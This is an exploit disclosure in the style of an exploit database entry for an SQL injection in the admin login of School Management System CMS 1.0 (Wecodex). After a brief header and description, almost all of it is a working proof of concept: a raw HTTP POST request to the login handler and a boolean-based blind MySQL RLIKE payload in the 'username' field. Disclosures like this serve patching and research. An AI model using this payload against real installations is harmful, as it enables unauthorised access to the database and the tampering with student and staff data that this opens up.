School Management System CMS 1.0 – ‘username’ SQL Injection
# Exploit Title: School Management System CMS 1.0 - Admin Login SQL Injection # Dork: N/A # Date: 23.05.2018 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) # Vendor : Wecodex Solutions # Vendor Homepage: https://www.wecodex.com/item/view/school-management-system-in-php-and-mysql/5 # Version: 1.0 # Category: Webapps # Tested on: Kali linux # Description : PHP Dashboards is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. ==================================================== # PoC : SQLi : https://test.com/school/maestro/index.php?view=processlogin POST /school/maestro/index.php?view=processlogin HTTP/1.1 Host: test.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://test.com/school/maestro/ Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=admin&password=123456 Vulnerable Payload : Parameter: username (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN 0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&password=123456 ==================================================== |